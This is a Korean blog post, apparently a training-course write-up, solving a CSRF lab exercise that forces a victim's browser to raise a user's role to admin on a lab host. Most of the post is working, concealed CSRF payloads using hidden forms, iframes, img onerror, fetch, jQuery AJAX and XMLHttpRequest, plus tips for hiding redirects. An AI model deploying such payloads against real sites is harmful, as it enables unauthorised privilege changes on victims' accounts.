yon11b

[SK 쉴더스 루키즈] CSRF 실습문제 2번 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] CSRF 실습문제 2번

yon11b 2026. 6. 29. 21:45
반응형

 

권한변경: admin 선택하고 잡은 request

POST /csrfpost/update_role_ok_post.jsp HTTP/1.1
Host: lab.eqst.co.kr:8444
Cookie: NEXT_LOCALE=ko; JSESSIONID=F67F527B8FD2AEBD19EBDB7CA3738292
Content-Length: 46
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: ko-KR,ko;q=0.9
Origin: https://lab.eqst.co.kr:8444
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://lab.eqst.co.kr:8444/csrfpost/update_role.jsp
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

target_id=test1%40test.com&new_role=ADMIN_POST

 

 

이것만 보면 된다.

POST /csrfpost/update_role_ok_post.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded

target_id=test1%40test.com&new_role=ADMIN_POST

1. <form> 태그 이용한 방법

이걸 content 부분에 삽입해주자.

<form id="f" action="https://lab.eqst.co.kr:8444/csrfpost/update_role_ok_post.jsp" method="POST" target="myTargetFrame" style="display:none">
  <input type="hidden" name="target_id" value="test1@test.com">
  <input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<img src="x" onerror="document.getElementById('f').submit();" style="display:none;">

 

form action의 특성상 작동하면 action의 위치로 이동을 하게 된다. 그래서 자동 리다이렉션이 된다.

누가 봐도 수상하다.

 

1. 리다이렉션이 안되게 해주자. -> <iframe> 사용

방법1)

form의 target을 iframe의 name으로 지정하면, form 제출 후 서버 응답과 리다이렉션 결과가 현재 페이지가 아니라 해당 iframe 안에서 처리된다. 그리고 iframe을 숨기면(style="display:none) 사용자는 화면 이동을 인지하기 어렵다.

 

2. 내가 쓴 글을 조회해보면 중간중간 <br> 태그가 박혀있다. 이 태그가 있으면 내가 의도한대로 작동하지 않을수도 있으므로 되도록이면 한 줄로 작성해주자.

 

3. action= 에서 https~~ 부터 다 쓰지 말고 path만 적어줘야 한다.

<iframe name="myTargetFrame" id="myTargetFrame" style="display:none;"></iframe>
<form id="f" action="/csrfpost/update_role_ok_post.jsp" method="POST" target="myTargetFrame" style="display:none">
    <input type="hidden" name="target_id" value="test1@test.com">
    <input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<img src="x" onerror="document.getElementById('f').submit();" style="display:none;">

 

이걸 줄바꿈 없이 한 줄로 & 전달할 때는 인코딩(Ctrl+U)해야 한다.

 

iframe 사용방법2)

iframe의 onload에서 내부 문서에 form을 만들고, 그 iframe 내부에서 바로 submit하게 하도록

<iframe
  id="submitFrame"
  name="submitFrame"
  style="display:none;"
  onload="
    var doc = this.contentWindow.document;

    if (this.dataset.submitted === '1') return;
    this.dataset.submitted = '1';

    var form = doc.createElement('form');
    form.method = 'POST';
    form.action = '/csrfpost/update_role_ok_post.jsp';

    var targetId = doc.createElement('input');
    targetId.type = 'hidden';
    targetId.name = 'target_id';
    targetId.value = 'test1@test.com';

    var newRole = doc.createElement('input');
    newRole.type = 'hidden';
    newRole.name = 'new_role';
    newRole.value = 'ADMIN_POST';

    form.appendChild(targetId);
    form.appendChild(newRole);
    doc.body.appendChild(form);

    form.submit();
  "
></iframe>

 

2-1. fetch() 이용한 방법: img src

<img src="x" onerror="fetch('/csrfpost/update_role_ok_post.jsp', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'target_id=' + 'test1@test.com' + '&new_role=' + 'ADMIN_POST',
  credentials: 'include'
});" style="display:none;"/>

 

얘를 공백없이 한 줄로

 

2-2. fetch() 이용한 방법: script

<script>
    fetch('/csrfpost/update_role_ok_post.jsp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: 'target_id=test1@test.com%26new_role=ADMIN_POST',
      credentials: 'include' // 없어도 됨. 같은 origin이라.
    })
      .then(response => {
        if (response.ok) {
          console.log('요청 성공');
        } else {
          console.error('요청 실패:', response.status);
        }
      })
      .catch(error => {
        console.error('네트워크 에러:', error);
      });
</script>

 

 

3. AJAX

 <script>
    $.ajax({
      url: '/csrfpost/update_role_ok_post.jsp',
      type: 'POST',
      contentType: 'application/x-www-form-urlencoded',
      data: {
        target_id: 'test1@test.com',
        new_role: 'ADMIN_POST'
      },
      success: function () {
        console.log('요청 성공');
      },
      error: function (xhr) {
        console.error('요청 실패:', xhr.status);
      }
    });
  </script>

(얘를 줄바꿈, 공백 없이)

 

 

4. XMLHTTPRequest

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/csrfpost/update_role_ok_post.jsp', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = function () {
      if (xhr.status >= 200 && xhr.status < 300) {
        console.log('요청 성공');
      } else {
        console.error('요청 실패:', xhr.status);
      }
    };
    xhr.onerror = function () {
      console.error('네트워크 에러');
    };
    xhr.send(
      'target_id=' + encodeURIComponent('test1@test.com') +
      '%26new_role=' + encodeURIComponent('ADMIN_POST')
    );
 </script>

 

 

 

5. JQuery 사용

JQuery란?

JavaScript를 더 쉽고 짧게 작성할 수 있도록 만든 라이브러리

 

JS

document.getElementById('aktform').submit();

 

JQuery

$('#aktform').submit();

 

둘은 같은 의미!!

<form id="aktform" action="/csrfpost/update_role_ok_post.jsp" method="post">
    <input type="hidden" name="target_id" value="test1@test.com">
    <input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<script>
	$('#aktform').submit();
</script>

 

728x90